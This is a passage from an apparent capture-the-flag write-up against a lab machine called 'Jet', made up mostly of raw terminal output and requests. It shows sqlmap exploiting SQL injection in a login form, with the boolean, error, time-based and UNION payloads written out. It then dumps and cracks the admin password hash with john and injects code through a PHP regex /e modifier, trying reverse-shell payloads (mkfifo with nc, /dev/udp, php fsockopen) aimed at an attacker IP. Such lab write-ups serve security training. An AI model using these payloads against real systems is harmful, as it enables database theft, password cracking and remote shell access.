| POSITION_IN_UNIQUE_CONSTRAINT | bigint(10) |
| REFERENCED_COLUMN_NAME | varchar(64) |
| REFERENCED_TABLE_NAME | varchar(64) |
| REFERENCED_TABLE_SCHEMA | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+-------------------------------+--------------+
Database: information_schema
Table: INNODB_CMP_PER_INDEX
[8 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| table_name | varchar(192) |
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| database_name | varchar(192) |
| index_name | varchar(192) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+--------------+
Database: information_schema
Table: STATISTICS
[16 columns]
+---------------+---------------+
| Column | Type |
+---------------+---------------+
| CARDINALITY | bigint(21) |
| COLLATION | varchar(1) |
| COLUMN_NAME | varchar(64) |
| COMMENT | varchar(16) |
| TABLE_NAME | varchar(64) |
| INDEX_COMMENT | varchar(1024) |
| INDEX_NAME | varchar(64) |
| INDEX_SCHEMA | varchar(64) |
| INDEX_TYPE | varchar(16) |
| NON_UNIQUE | bigint(1) |
| NULLABLE | varchar(3) |
| PACKED | varchar(10) |
| SEQ_IN_INDEX | bigint(2) |
| SUB_PART | bigint(3) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+---------------+---------------+
Database: information_schema
Table: INNODB_LOCKS
[10 columns]
+-------------+---------------------+
| Column | Type |
+-------------+---------------------+
| lock_data | varchar(8192) |
| lock_id | varchar(81) |
| lock_index | varchar(1024) |
| lock_mode | varchar(32) |
| lock_page | bigint(21) unsigned |
| lock_rec | bigint(21) unsigned |
| lock_space | bigint(21) unsigned |
| lock_table | varchar(1024) |
| lock_trx_id | varchar(18) |
| lock_type | varchar(32) |
+-------------+---------------------+
Database: information_schema
Table: INNODB_TEMP_TABLE_INFO
[6 columns]
+----------------------+---------------------+
| Column | Type |
+----------------------+---------------------+
| NAME | varchar(202) |
| SPACE | int(11) unsigned |
| IS_COMPRESSED | varchar(64) |
| N_COLS | int(11) unsigned |
| PER_TABLE_TABLESPACE | varchar(64) |
| TABLE_ID | bigint(21) unsigned |
+----------------------+---------------------+
Database: information_schema
Table: INNODB_SYS_FOREIGN
[5 columns]
+----------+------------------+
| Column | Type |
+----------+------------------+
| TYPE | int(11) unsigned |
| FOR_NAME | varchar(193) |
| ID | varchar(193) |
| N_COLS | int(11) unsigned |
| REF_NAME | varchar(193) |
+----------+------------------+
Database: information_schema
Table: PARAMETERS
[16 columns]
+--------------------------+---------------------+
| Column | Type |
+--------------------------+---------------------+
| CHARACTER_MAXIMUM_LENGTH | int(21) |
| CHARACTER_OCTET_LENGTH | int(21) |
| CHARACTER_SET_NAME | varchar(64) |
| COLLATION_NAME | varchar(64) |
| DATA_TYPE | varchar(64) |
| DATETIME_PRECISION | bigint(21) unsigned |
| DTD_IDENTIFIER | longtext |
| NUMERIC_PRECISION | bigint(21) unsigned |
| NUMERIC_SCALE | int(21) |
| ORDINAL_POSITION | int(21) |
| PARAMETER_MODE | varchar(5) |
| PARAMETER_NAME | varchar(64) |
| ROUTINE_TYPE | varchar(9) |
| SPECIFIC_CATALOG | varchar(512) |
| SPECIFIC_NAME | varchar(64) |
| SPECIFIC_SCHEMA | varchar(64) |
+--------------------------+---------------------+
Database: information_schema
Table: INNODB_CMPMEM_RESET
[6 columns]
+----------------------+------------+
| Column | Type |
+----------------------+------------+
| buffer_pool_instance | int(11) |
| page_size | int(5) |
| pages_free | int(11) |
| pages_used | int(11) |
| relocation_ops | bigint(21) |
| relocation_time | int(11) |
+----------------------+------------+
Database: jetadmin
Table: users
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| password | varchar(191) |
| username | varchar(50) |
+----------+--------------+
[03:17:31] [INFO] fetched data logged to text files under '/home/alesio/.local/share/sqlmap/output/www.securewebinc.jet'
[*] ending @ 03:17:31 /2023-12-23/
here we can see an SQLi on the username params, so we dump the database. we see a table users in jetadmin database.
┌──(alesio㉿Alesio)-[~/Jet]
└─$ sqlmap -r login -D jetadmin --dump
___
__H__
___ ___[)]_____ ___ ___ {1.7.12#stable}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 03:20:59 /2023-12-23/
[03:20:59] [INFO] parsing HTTP request from 'login'
[03:20:59] [INFO] resuming back-end DBMS 'mysql'
[03:20:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=qwer' OR NOT 6567=6567#&password=qwer
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=qwer' OR (SELECT 1247 FROM(SELECT COUNT(*),CONCAT(0x716a716b71,(SELECT (ELT(1247=1247,1))),0x717a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iXWW&password=qwer
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=qwer' AND (SELECT 4209 FROM (SELECT(SLEEP(5)))DfxZ)-- JgTA&password=qwer
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: username=qwer' UNION ALL SELECT NULL,CONCAT(0x716a716b71,0x64514c4a6671574c4c587a494f454b416b5a5278496977487146417769774b575072484451694b6c,0x717a6a7a71),NULL#&password=qwer
---
[03:21:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0
[03:21:06] [INFO] fetching tables for database: 'jetadmin'
[03:21:07] [INFO] fetching columns for table 'users' in database 'jetadmin'
[03:21:08] [INFO] resumed: 'id','int(11)'
[03:21:08] [INFO] resumed: 'username','varchar(50)'
[03:21:08] [INFO] resumed: 'password','varchar(191)'
[03:21:08] [INFO] fetching entries for table 'users' in database 'jetadmin'
[03:21:09] [INFO] recognized possible password hashes in column 'password'
y
[03:21:22] [INFO] writing hashes to a temporary file '/tmp/sqlmapsg2ivirf2751462/sqlmaphashes-nz_0s3wa.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[03:21:30] [INFO] using hash method 'sha256_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[03:22:14] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[03:22:22] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[03:22:22] [INFO] starting 32 processes
[03:22:25] [INFO] using suffix '1'
[03:22:27] [INFO] using suffix '123'
[03:22:30] [INFO] using suffix '2'
[03:22:32] [INFO] using suffix '12'
[03:22:35] [INFO] using suffix '3'
[03:22:38] [INFO] using suffix '13'
[03:22:41] [INFO] using suffix '7'
[03:22:43] [INFO] using suffix '11'
[03:22:46] [INFO] using suffix '5'
[03:22:48] [INFO] using suffix '22'
[03:22:48] [INFO] current status: 1otag... /^C
[03:22:48] [WARNING] user aborted during dictionary-based attack phase (Ctrl+C was pressed)
[03:22:48] [WARNING] no clear password(s) found
Database: jetadmin
Table: users
[1 entry]
+----+------------------------------------------------------------------+----------+
| id | password | username |
+----+------------------------------------------------------------------+----------+
| 1 | 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084 | admin |
+----+------------------------------------------------------------------+----------+
[03:22:48] [INFO] table 'jetadmin.users' dumped to CSV file '/home/alesio/.local/share/sqlmap/output/www.securewebinc.jet/dump/jetadmin/users.csv'
[03:22:48] [INFO] fetched data logged to text files under '/home/alesio/.local/share/sqlmap/output/www.securewebinc.jet'
[*] ending @ 03:22:48 /2023-12-23/
let's try to crack the password with john
┌──(alesio㉿Alesio)-[~/Jet]
└─$ locate rockyou.txt
/usr/share/eaphammer/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
/usr/share/wordlists/rockyou.txt
┌──(alesio㉿Alesio)-[~/Jet]
└─$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# [email protected] #
#########################################################################
--------------------------------------------------
HASH: 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------
HASH: ^C
Bye!
┌──(alesio㉿Alesio)-[~/Jet]
└─$ john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=32
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Hackthesystem200 (admin)
1g 0:00:00:00 DONE (2023-12-23 03:34) 2.083g/s 24029Kp/s 24029Kc/s 24029KC/s Josiah21..985600098
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
so let's connect with admin and Hackthesystem200.
we can see a flag in the chat section of the site: JET{sQl_1nj3ct1ons_4r3_fun!}
let send a email at the bottom of the webpage and see the request on burpsuite:
POST /dirb_safe_dir_rf9EmcEIx/admin/email.php HTTP/1.1
Host: www.securewebinc.jet
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 304
Origin: http://www.securewebinc.jet
Connection: close
Referer: http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/dashboard.php
Cookie: PHPSESSID=dr51nljjg25jhd9j2j60ngl7r2
Upgrade-Insecure-Requests: 1
swearwords%5B%2Ffuck%2Fi%5D=make+love&swearwords%5B%2Fshit%2Fi%5D=poop&swearwords%5B%2Fass%2Fi%5D=behind&swearwords%5B%2Fdick%2Fi%5D=penis&swearwords%5B%2Fwhore%2Fi%5D=escort&swearwords%5B%2Fasshole%2Fi%5D=bad+person&to=qwer%40qwer.com&subject=qwer&message=%3Cp%3Eqwer%3Cbr%3E%3C%2Fp%3E&_wysihtml5_mode=1
transform in normal format the payload:
swearwords[/fuck/i]=make love&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort&swearwords[/asshole/i]=bad person&[email protected]&subject=qwer&message=<p>qwer<br></p>&_wysihtml5_mode=1
nous voyons qu il utilise des expression regulieres /i nou pouvons donc en tester d'autre comme e pour execute. let's try mutiple reverseshell and we find the mkfifo working
unsuccess to run the exploit :'(
swearwords[/fuck/e]=system('rm /tmp/qwerqwer;mkfifo /tmp/qwerqwer;cat /tmp/qwerqwer|sh -i 2>&1|nc 10.10.16.2 443 >/tmp/qwerqwer')&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort&swearwords[/asshole/i]=bad person&[email protected]&subject=qwer&message=<p>qwer<br></p>&_wysihtml5_mode=1
system%28%27rm%20%2Ftmp%2Fqwerqwer%3Bmkfifo%20%2Ftmp%2Fqwerqwer%3Bcat%20%2Ftmp%2Fqwerqwer%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.2%20443%20%3E%2Ftmp%2Fqwerqwer%27%29 system('rm%20/tmp/qwerqwer;mkfifo%20/tmp/qwerqwer;cat%20/tmp/qwerqwer|sh%20-i%202>%261|nc%2010.10.16.2%20443%20>/tmp/qwerqwer')
sh%20-i%20>%26%20/dev/udp/10.10.16.2/443%200>%261
php -r '$sock=fsockopen("10.10.16.2",1234);exec("sh <&3 >&3 2>&3");'
php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.16.2%22%2C1234%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27